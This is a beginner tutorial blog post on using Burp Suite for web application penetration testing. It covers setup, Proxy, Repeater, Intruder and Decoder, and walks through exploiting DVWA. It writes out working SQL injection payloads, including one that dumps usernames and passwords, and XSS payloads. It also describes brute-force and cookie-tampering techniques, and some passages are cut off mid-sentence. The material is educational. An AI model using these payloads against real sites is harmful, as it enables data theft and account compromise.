Yes. Burp Suite Community Edition is completely free and includes Proxy, Repeater, Decoder, and Comparer. Burp Suite Professional costs $449/year and adds the active Scanner, unlimited Intruder speed, and Burp Collaborator.

Burp Suite for Beginners: Web Application Pentesting Tutorial (2026)

By HOC Team | Last updated: July 2026 | Read time: ~22 min

If Nmap is the first tool every ethical hacker learns, Burp Suite is the second. While Nmap finds what is running on a network, Burp Suite finds what is broken inside web applications — SQL injection, cross-site scripting, broken authentication, IDOR, SSRF, and dozens of other vulnerabilities that together make up the largest attack surface on the internet.

Every professional web application penetration tester uses Burp Suite daily. It is the primary tool in HackerOne and Bugcrowd's top earners' arsenals. It is tested in the OSCP, BSCP, and eWPT examinations. And it is free to get started with.

This guide takes you from installing Burp Suite to intercepting your first HTTP request, through all the major tools — Proxy, Repeater, Intruder, Scanner, Decoder, and Comparer — with real examples, screenshots, and the exact workflow professional testers follow. A complete keyboard shortcut cheatsheet is at the end. Jump to cheatsheet →

⚖️ Legal reminder Use Burp Suite only on web applications you own, have explicit written permission to test, or that are specifically provided for legal practice (DVWA, PortSwigger Web Security Academy, TryHackMe, HackTheBox). Testing any web application without permission is illegal under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent laws globally. HOC does not condone unauthorised testing.

📋 Table of Contents

What is Burp Suite and why does every tester use it?
Community vs Pro — which version do you need?
Installing Burp Suite and setting up your browser
The Proxy — intercepting and modifying HTTP requests
Repeater — manually testing requests over and over
Intruder — automated fuzzing and brute force
Scanner — automated vulnerability detection (Pro)
Decoder and Comparer — encoding, decoding, and diffing
Finding real vulnerabilities — SQL injection and XSS walkthrough
FoxyProxy — switching Burp on and off easily
Burp Suite cheatsheet — keyboard shortcuts and key settings
Where to practise — free legal targets
Frequently asked questions

1. What is Burp Suite and why does every tester use it?

Burp Suite is an integrated platform for web application security testing developed by PortSwigger. At its core it is an HTTP proxy — it sits between your browser and the target web application, intercepting every request and response so you can inspect, modify, replay, and attack them.

Most security vulnerabilities in web applications cannot be found by simply looking at the page in a browser. They require manipulating the underlying HTTP requests — changing parameter values, injecting payloads, replaying requests with modified headers — which is exactly what Burp Suite makes possible. Without Burp, manual web application testing is like trying to pick a lock while wearing oven gloves.

🕷

What Burp Suite can find

OWASP Top 10

Vulnerability	OWASP Category	Burp tool used
SQL Injection	A03 Injection	Repeater, Intruder, Scanner
Cross-Site Scripting (XSS)	A03 Injection	Repeater, Intruder, Scanner
Broken Authentication	A07 Auth Failures	Intruder (brute force), Repeater
IDOR / BOLA	A01 Broken Access Control	Repeater, Intruder
SSRF	A10 SSRF	Repeater, Collaborator
Insecure Direct Object Reference	A01 Broken Access Control	Repeater
Security Misconfiguration	A05 Misconfiguration	Scanner, Proxy history
Sensitive Data Exposure	A02 Cryptographic Failures	Proxy, Decoder
XML External Entity (XXE)	A03 Injection	Repeater
JWT vulnerabilities	A07 Auth Failures	Repeater, Decoder, extensions

2. Community vs Pro — which version do you need?

Burp Suite comes in three editions. Here is exactly what each gives you and which to use at each stage of your learning.

Feature	Community (Free)	Professional ($449/yr)	Enterprise
HTTP Proxy	✅ Full	✅ Full	✅ Full
Repeater	✅ Full	✅ Full	✅ Full
Decoder / Comparer	✅ Full	✅ Full	✅ Full
Intruder (fuzzing)	⚠️ Throttled (very slow)	✅ Full speed	✅ Full speed
Active Scanner	❌ Not available	✅ Full	✅ Full
Burp Collaborator	❌ Not available	✅ Full	✅ Full
Save/load projects	❌ Temporary only	✅ Full project files	✅ Full
BApp Store extensions	✅ Some	✅ All	✅ All
Best for	Beginners, learning	Bug bounty, pentesters	Enterprise CI/CD

💡 Start with Community Edition — it is enough to learn everything The Community Edition gives you the Proxy, Repeater, Decoder, and Comparer — the tools you will use for 80% of manual web application testing. The limitations (slow Intruder, no Scanner) only become painful when you start doing bug bounty professionally. Learn the tools first, then upgrade when the limitations genuinely slow you down.

3. Installing Burp Suite and setting up your browser

⬇

Download and install Burp Suite

5 minutes

Burp Suite is pre-installed on Kali Linux. On Windows or macOS, download from portswigger.net/burp/communitydownload.

On Kali Linux — launch from the terminal or applications menu

# Launch Burp Suite from terminal burpsuite # Or find it in: Applications → Web Application Analysis → burpsuite # Or update to latest version: sudo apt-get update && sudo apt-get install burpsuite -y

First launch — create a temporary project

When Burp Suite first opens it asks you to create or open a project. For Community Edition, select "Temporary project" → click Next → select "Use Burp defaults" → click Start Burp. The main Burp Suite interface opens.

Burp Suite Community Edition — main interface with Dashboard, Target, Proxy, Intruder, Repeater, Decoder, Comparer tabs

Setting up your browser to route through Burp

Burp Suite works by running a local proxy server on your machine that your browser connects through. By default it listens on 127.0.0.1:8080. You need to configure your browser to send traffic through this address.

Method 1 — Use Burp's built-in browser (easiest, recommended)

Go to Proxy → Intercept → Open Browser. Burp opens a pre-configured Chromium browser that is already set up to route through the Burp proxy — no manual configuration needed. This is the fastest way to start intercepting traffic.

Method 2 — Configure Firefox manually

Open Firefox → Settings → search "proxy" → click Settings under Network Settings
Select "Manual proxy configuration"
HTTP Proxy: 127.0.0.1 Port: 8080
Tick "Use this proxy server for all protocols"
Click OK

Install the Burp CA Certificate (critical — for HTTPS)

Without the CA certificate, Burp cannot intercept HTTPS traffic and your browser will show SSL errors. This step is mandatory.

With Burp proxy running and browser configured, visit http://burpsuite in the browser
Click "CA Certificate" to download cacert.der
In Firefox: Settings → search "certificates" → click View Certificates → Authorities tab → Import → select cacert.der → tick "Trust this CA to identify websites" → OK
In Chrome/Chromium: Settings → Privacy → Security → Manage Certificates → Authorities → Import

Burp Suite Proxy → Options tab — listener confirmed running on 127.0.0.1:8080

Pro tip: Use Burp's built-in browser for intercepting traffic — it handles the CA certificate automatically. Use FoxyProxy (see Section 10) in Firefox for easy on/off switching when you want to use your normal browser alongside Burp.

4. The Proxy — intercepting and modifying HTTP requests

The Proxy is Burp Suite's core feature. It sits between your browser and the target and captures every HTTP/HTTPS request before it is sent. You can inspect it, modify any part of it, forward it, drop it, or send it to other Burp tools for deeper analysis.

🔀

Intercepting your first request

Core skill

In Burp Suite, go to Proxy → Intercept
Click "Intercept is off" to toggle it on — the button turns orange showing "Intercept is on"
In your browser (Burp's built-in browser or Firefox with proxy configured), navigate to any HTTP website — e.g., http://dvwa.local or the PortSwigger practice labs
Burp intercepts the request — the browser appears to "freeze" while Burp holds the request
Inspect the raw HTTP request in Burp. Modify any part of it — change a parameter value, add a header, inject a test payload
Click "Forward" to send the (possibly modified) request to the server, or "Drop" to discard it

Burp Proxy — Intercept tab showing a captured HTTP POST login request ready to inspect and modify

The HTTP History tab — your most used view

You don't need Intercept on for most testing. Click Proxy → HTTP history to see a log of every request your browser has sent through Burp — even with Intercept off. Right-click any request to send it to Repeater, Intruder, or other tools. This is the workflow most professionals use day to day.

Pro tip: Turn Intercept OFF most of the time. Browse the target application normally and let the HTTP history accumulate. Then go back through the history, right-click interesting requests, and send them to Repeater for manual testing. Only turn Intercept ON when you need to modify a specific request in flight.

5. Repeater — manually testing requests over and over

Repeater is the tool you will spend the most time in as a web application pentester. It lets you take any HTTP request, modify it freely, send it, see the full response, modify it again, send again — with no limit. It is the foundation of manual vulnerability testing.

🔁

How to use Repeater

Most used tool

Send a request to Repeater

There are two ways:

In Proxy → HTTP history: right-click any request → "Send to Repeater"
In the Intercept tab: right-click the intercepted request → "Send to Repeater"
Keyboard shortcut: with a request selected → Ctrl + R

Then click the Repeater tab at the top — your request is there, ready to modify and resend.

Burp Suite Repeater — left panel shows the editable request, right panel shows the server response side by side

User ID: 1

First name: admin

Surname: admin

Raw Render Headers 200 OK · 1,247 bytes · 87ms

What makes Repeater so powerful

Modify any part of the request — URL parameters, POST body, headers, cookies, HTTP method — and see the exact response
Compare responses between different inputs side by side
The history of all requests/responses in each Repeater tab is preserved — use the back/forward arrows to navigate
Right-click response text → "Send to Comparer" to diff two responses and spot differences
Press Ctrl + Space to send a request. Much faster than clicking Send.

The most important Repeater workflow: Send a request, change one parameter at a time, observe the response. If changing id=1 to id=1' causes a 500 error, you have found a potential SQL injection point. If changing id=1 to id=2 returns a different user's data, you have found an IDOR. This single-parameter-at-a-time approach finds the majority of web vulnerabilities.

6. Intruder — automated fuzzing and brute force

Intruder automates sending a large number of modified requests — feeding in lists of payloads (wordlists, password lists, injection strings) and replacing marked positions in the request with each one. It is used for brute forcing logins, fuzzing parameters for injection, and testing multiple payloads at speed.

⚠️ Community Edition throttle In Community Edition, Intruder adds a time delay between requests — making it painfully slow for large wordlists. For serious fuzzing, use ffuf or Hydra on Kali Linux instead (both are free and not throttled). Intruder in Community Edition is still useful for small payload sets (under 100 items).

🎯

Intruder attack types and how to use them

Automated testing

Step 1 — Send request to Intruder

Right-click any request in Proxy history → "Send to Intruder" (or Ctrl + I). Go to the Intruder tab.

Step 2 — Mark payload positions

In the Positions tab, Burp auto-marks parameters with § symbols. Clear all marks and manually highlight the value you want to fuzz → click "Add §".

Step 3 — Choose attack type

Attack type	How it works	Best for
Sniper	One payload position, iterates through a single payload list	Fuzzing a single parameter, common password list against one username
Battering ram	Multiple positions, same payload inserted into all simultaneously	Where the same value must appear in multiple places at once
Pitchfork	Multiple positions, different payload lists — iterates in sync (position 1 gets list 1 item 1, position 2 gets list 2 item 1)	Credential stuffing — username list + matching password list
Cluster bomb	Multiple positions, every combination of all payload lists	Brute force — all usernames × all passwords (warning: large result sets)

Step 4 — Load your payloads

In the Payloads tab: click "Load" to import a wordlist file, or type entries manually, or select a built-in list. Common payload sources:

# SecLists — the best collection of wordlists for security testing # (install: sudo apt-get install seclists) # For SQL injection fuzzing /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt # For XSS fuzzing /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt # For directory brute force /usr/share/seclists/Discovery/Web-Content/common.txt # Common passwords for login brute force /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

Step 5 — Analyse results

Click "Start attack". Sort results by Status code (a 302 redirect in a login brute force = successful login), Length (different response length = different application behaviour = potentially vulnerable), or Error. Right-click any interesting result → View response.

Community Edition alternative: For fast directory brute forcing, use gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt in your Kali terminal. It is free, unlimited, and much faster than Intruder Community Edition.

7. Scanner — automated vulnerability detection (Pro only)

The Burp Scanner automatically crawls and actively scans web applications for vulnerabilities. It is the most powerful feature of Burp Pro and is not available in Community Edition.

🔍

How to run the Scanner (Burp Pro)

Pro only

Right-click scan from Proxy history

The fastest way: in Proxy → HTTP history, right-click any request → "Scan" → select whether to scan that specific request or crawl from it. Burp Pro scans the endpoint with dozens of injection tests automatically.

Full site scan from Dashboard

In the Dashboard tab, click "New scan"
Enter the target URL
Select scan type — Crawl and audit (comprehensive), or Crawl only, or Audit only
Configure scan speed and thoroughness → click OK
Watch the Dashboard as findings appear in real time — each finding shows severity (High / Medium / Low / Info) and a detailed description

PortSwigger Web Security Academy — free Pro alternative

If you cannot afford Burp Pro, PortSwigger provides free browser-based labs at portswigger.net/web-security where you practice manual techniques for every OWASP Top 10 vulnerability. These labs do not require Burp Pro — Community Edition is sufficient for all of them. This is the best free resource for learning web application security.

BSCP certification note: The Burp Suite Certified Practitioner (BSCP) exam from PortSwigger requires Burp Pro. If you are preparing for BSCP, the PortSwigger Academy labs are the official study material and all run with Burp Community Edition during practice.

8. Decoder and Comparer

🔤

Decoder — encode and decode any data format

Both editions

Decoder converts data between encoding formats — URL encoding, Base64, HTML encoding, hex, ASCII, and more. Web applications constantly use encoded values in cookies, tokens, and parameters. Decoder lets you decode them to understand the data, modify it, and re-encode it for injection.

Common Decoder workflows

# Decode a Base64 session token from a cookie # Input: eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9 # Select: Decode as → Base64 # Output: {"user":"admin","role":"user"} # → Modify "role":"user" to "role":"admin" # → Re-encode as Base64 # → Replace original cookie value in Repeater # Decode URL-encoded injection payload # Input: %27+OR+1%3D1-- # Decode as URL → Output: ' OR 1=1-- # Common shortcuts to remember # Ctrl+B → Decode/Encode from Proxy, Repeater, or Intruder # Right-click selected text → Send to Decoder

Comparer — diff two responses

Send two responses to Comparer to highlight exactly what is different between them. Essential for: spotting the difference between a successful and failed login response, comparing responses to valid vs injected parameters, and finding subtle changes that indicate vulnerability.

Right-click any request or response → "Send to Comparer"
Go to Comparer → Words or Bytes — highlighted in colour are the differences
Typical use: send the response to id=1 and id=2 to Comparer and see exactly what changed in the HTML output

9. Finding real vulnerabilities — SQL injection and XSS walkthrough

Theory is nothing without practice. Here is the exact workflow for finding and confirming two of the most common web vulnerabilities using Burp Suite against DVWA (Damn Vulnerable Web Application).

💉

SQL Injection — finding and exploiting in DVWA

High severity

Step 1 — Find the injection point

In DVWA set security to "Low". Go to SQL Injection page. Enter 1 in the User ID field and submit. In Burp Proxy history, find the GET request and send it to Repeater.

→ REQUEST — baseline (normal input)

GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
dvwa.local
PHPSESSID=abc123; security=low

Step 2 — Test for injection

Change id=1 to id=1' (add a single quote). Send.

→ REQUEST — SQL injection test (single quote)

GET /dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit HTTP/1.1
dvwa.local

← RESPONSE — SQL error confirms injection

HTTP/1.1 200 OK

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''''' at line 1

Step 3 — Extract data with UNION injection

→ REQUEST — UNION SELECT to extract database version

GET /dvwa/vulnerabilities/sqli/?id=1' UNION SELECT 1,version()--+&Submit=Submit HTTP/1.1

← RESPONSE — database version leaked

First name: 1

Surname: 8.0.33-MySQL Community Server

# Common UNION injection payloads to try in Repeater: # 1. Find number of columns 1' ORDER BY 1--+ # increment until error — tells you column count # 2. Extract database names 1' UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata--+ # 3. Extract table names 1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+ # 4. Extract column names from users table 1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+ # 5. Dump usernames and passwords 1' UNION SELECT user,password FROM users--+

⚡

Reflected XSS — finding and confirming in DVWA

Medium-High severity

Go to DVWA → XSS (Reflected) → enter a test input and submit. Find the request in Burp Proxy history → send to Repeater.

Test for reflection first

→ REQUEST — test if input is reflected in response

GET /dvwa/vulnerabilities/xss_r/?name=HOC_TEST_VALUE HTTP/1.1

← RESPONSE — input reflected unencoded (vulnerable)

Hello <br>HOC_TEST_VALUE

Confirm XSS with a basic payload

# Basic XSS payloads to test in Repeater (change the name= parameter) <script>alert(1)</script> <img src=x onerror=alert(document.cookie)> "><script>alert(document.domain)</script> '># URL-encode the payload for the GET parameter (Burp does this automatically in Repeater) # If you see your script tag reflected in the response HTML without encoding — XSS confirmed

XSS hunting tip: In Repeater, switch to the Render tab in the response panel. If your

10. FoxyProxy — switching Burp on and off easily

Manually changing browser proxy settings is tedious. FoxyProxy is a free Firefox/Chrome extension that lets you switch between "Burp proxy on" and "direct connection" with a single click.

🦊

Set up FoxyProxy in 3 minutes

Quality of life

Install FoxyProxy Standard from the Firefox Add-ons store (or Chrome Web Store)
Click the FoxyProxy icon in the browser toolbar → Options
Click "Add New Proxy"
Set: Title = Burp Suite · Proxy Type = HTTP · IP = 127.0.0.1 · Port = 8080
Save → close Options
Now click the FoxyProxy icon in the toolbar: select "Burp Suite" when you want to intercept traffic, select "Turn Off" for normal browsing

Workflow tip: Set FoxyProxy to "Burp Suite" at the start of a testing session, intercept everything, then set it back to "Turn Off" when done. This is much faster than digging through Firefox proxy settings every session.

11. Burp Suite cheatsheet — shortcuts and key settings

⌨ Keyboard shortcuts

Ctrl + R

Send selected request to Repeater

Ctrl + I

Send selected request to Intruder

Ctrl + Space

Send request in Repeater

Ctrl + Z

Undo changes in request editor

Ctrl + A

Select all in request/response panel

Ctrl + F

Search within request/response

Ctrl + U

URL-encode selected text

Ctrl + Shift + U

URL-decode selected text

Ctrl + B

Send selected text to Decoder

🖱 Right-click context menu actions (Proxy / Repeater)

Send to Repeater

Open request in Repeater for manual testing

Send to Intruder

Open request in Intruder for fuzzing

Send to Comparer

Send request or response to Comparer for diffing

Send to Decoder

Send selected text to Decoder

Copy as curl command

Copy request as curl command to paste in terminal

Copy URL

Copy the full request URL to clipboard

Change request method

Toggle between GET and POST (useful for testing WAF bypass)

Scan (Pro only)

Actively scan the selected endpoint for vulnerabilities

⚙ Essential settings to configure once

Intercept scope only

Proxy → Options → Intercept Client Requests → "URL is in target scope" — stops Burp intercepting every browser background request

Set target scope

Target → Scope → add your target domain — focuses all Burp tools on the target only

Upstream proxy

User options → Connections → Upstream Proxy — chain Burp through another proxy (e.g. Tor)

Match and Replace

Proxy → Options → Match and Replace — auto-replace values in every request (e.g. always swap one cookie value for another)

Response modification

Proxy → Options → Response Modification — force-enable disabled form fields, remove JavaScript validation

🔧 Quick SQL injection test payloads for Repeater

Basic error test — single quote. If SQL error in response → vulnerable

1' OR '1'='1

Boolean injection — always true condition

1' OR 1=1--+

Comment-terminated boolean injection

1' AND SLEEP(5)--+

Time-based blind SQLi — response delay of 5s confirms vulnerable

1' UNION SELECT 1,2--+

Start UNION-based extraction (increment columns until no error)

⚡ Quick XSS test payloads for Repeater

Basic reflected XSS test

"><script>alert(1)</script>

Break out of attribute context

Event handler XSS — works when script tags are filtered

SVG-based XSS bypass

javascript:alert(1)

href-based XSS in anchor tags

12. Where to practise — free legal targets

🏋

Best free targets for Burp Suite practice

Legal · Free

PortSwigger Web Security Academy — portswigger.net/web-security — the absolute best. Free labs for every OWASP Top 10 vulnerability, designed by the Burp Suite creators. Each lab is a live web application you attack through your browser with Burp. No install needed.
DVWA (Damn Vulnerable Web Application) — install in your Kali VirtualBox lab. Three security levels (Low/Medium/High) let you practise the same vulnerability at increasing difficulty. Every vulnerability in this article can be practised on DVWA. Our VirtualBox setup guide →
TryHackMe — dozens of web application rooms using Burp Suite. The "Web Fundamentals" and "OWASP Top 10" paths are specifically designed for Burp beginners.
HackTheBox — CTF-style machines with realistic web applications. Start with "Easy" rated machines — most have at least one web vulnerability discoverable with Burp.
WebGoat (OWASP) — downloadable deliberately vulnerable application from OWASP. Runs locally, covers every OWASP Top 10 category with guided lessons.
Juice Shop (OWASP) — OWASP's modern vulnerable web app built in Node.js. Install with Docker: docker run -d -p 3000:3000 bkimminich/juice-shop then access at http://localhost:3000.

💡 Recommended practice order Start with PortSwigger Web Security Academy → SQL Injection labs (Level 1). Then move to XSS. Then CSRF. Then IDOR. Then SSRF. These five categories appear in 80% of real bug bounty and CTF web challenges. Completing all the Apprentice and Practitioner level labs on PortSwigger Web Security Academy prepares you for BSCP and real-world web pentesting better than any paid course.

⚡ Your Burp Suite learning path — what to do next

Complete PortSwigger SQL Injection labs right now — free, takes 2 hours, teaches Burp Repeater better than any video. portswigger.net/web-security/sql-injection →
Set up DVWA in your Kali lab — practise every vulnerability type in a safe environment you control. Install Kali Linux on VirtualBox →
Learn Nmap alongside Burp — Nmap finds what services are running; Burp tests the web ones. Always run both on a target. Nmap tutorial →
Start bug bounty hunting — HackerOne and Bugcrowd have free public programs you can legally test today. Burp Suite is your primary tool. Bug bounty beginners guide →
Study for BSCP — the Burp Suite Certified Practitioner exam is PortSwigger's official certification. Complete all the Practitioner-level Web Security Academy labs to prepare.
Understand the CVEs you are recreating — UNION injection is CVE-2023-34362 territory. XSS is behind billions in bug bounty payouts. 10 real-world CVEs explained →

Frequently asked questions

Is Burp Suite free?

Yes — Burp Suite Community Edition is completely free and includes the Proxy, Repeater, Decoder, and Comparer tools. These are enough to learn web application testing and find vulnerabilities manually. Burp Suite Professional costs $449 per year and adds the active Scanner, unlimited Intruder speed, Burp Collaborator, and the ability to save projects. Start with Community Edition — upgrade to Pro when you are actively doing bug bounty or professional pentesting.

What is the difference between Burp Suite and OWASP ZAP?

Both are web application security testing proxies. Burp Suite is the industry standard — used by virtually all professional penetration testers and bug bounty hunters. It has a more polished interface, better manual testing tools, and a large extension ecosystem. OWASP ZAP is free and open-source with a fully featured scanner available at no cost, making it a good alternative for people who cannot afford Burp Pro. For learning, start with Burp Suite Community Edition since it is what professional environments, certifications (OSCP, BSCP), and most documentation assume you are using.

Is Burp Suite already installed on Kali Linux?

Yes — Burp Suite Community Edition comes pre-installed on Kali Linux. Launch it from the terminal with burpsuite or from Applications → Web Application Analysis → burpsuite. To update to the latest version run sudo apt-get update && sudo apt-get install burpsuite -y.

How do I use Burp Suite for bug bounty hunting?

The standard bug bounty workflow with Burp: set up FoxyProxy in Firefox for easy proxy switching, add the target domain to Burp's scope (Target → Scope), browse the entire application with Intercept off to build up the HTTP history, then go through the history finding interesting endpoints — login, search, profile, file upload, payment — and send each to Repeater for manual testing. Test each parameter for SQL injection, XSS, IDOR, and SSRF. For serious bug bounty work, Burp Pro's Scanner significantly speeds up discovery of initial footholds.

Why is Burp Suite Intruder so slow in Community Edition?

PortSwigger deliberately throttles Intruder in Community Edition to encourage upgrading to Professional. For large-scale fuzzing (directory brute force, large password lists), use free dedicated tools instead: gobuster or ffuf for directory discovery, Hydra for login brute force, and sqlmap for SQL injection automation. These tools are free, not throttled, and run natively on Kali Linux.

What is the Burp Collaborator?

Burp Collaborator is a Pro feature that provides an external server for detecting out-of-band vulnerabilities — cases where the application makes a network request to an attacker-controlled server without displaying anything in the response. It is essential for finding SSRF (Server-Side Request Forgery), blind SQL injection, blind XSS, XXE, and DNS-based vulnerabilities. A free alternative is interact.sh — an open-source Collaborator replacement you can self-host or use via interactsh-client on Kali.

What is the BSCP certification?

BSCP (Burp Suite Certified Practitioner) is PortSwigger's official web application security certification. The exam is a timed challenge where you must find and exploit vulnerabilities in two realistic web applications within 4 hours, using Burp Suite Pro. It requires Burp Pro and is considered a strong professional credential for web application pentesters. Prepare by completing all Apprentice and Practitioner level labs on Web Security Academy — the exam content is drawn directly from the Academy.

The Latest

VPN vs Zero Trust: Which Should Your Organisation Use in 2026?

Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026)

Google Unveils Gemini 3.5 Flash Cyber: A Game-Changer for AI-Powered Security

Linux Kernel Published 440 Security Advisories— In 24hrs Here’s Why

Burp Suite for Beginners: Web Application Pentesting Tutorial (2026)

⚡ Your Burp Suite learning path — what to do next

Join Our Club

How to Install Kali Linux on VirtualBox (Step by Step 2026)

Wireshark Tutorial: Capture and Analyse Network Traffic (2026)

Burp Suite for Beginners: Web Application Pentesting Tutorial (2026)

⚡ Your Burp Suite learning path — what to do next

Join Our Club

How to Install Kali Linux on VirtualBox (Step by Step 2026)

Wireshark Tutorial: Capture and Analyse Network Traffic (2026)

Related Posts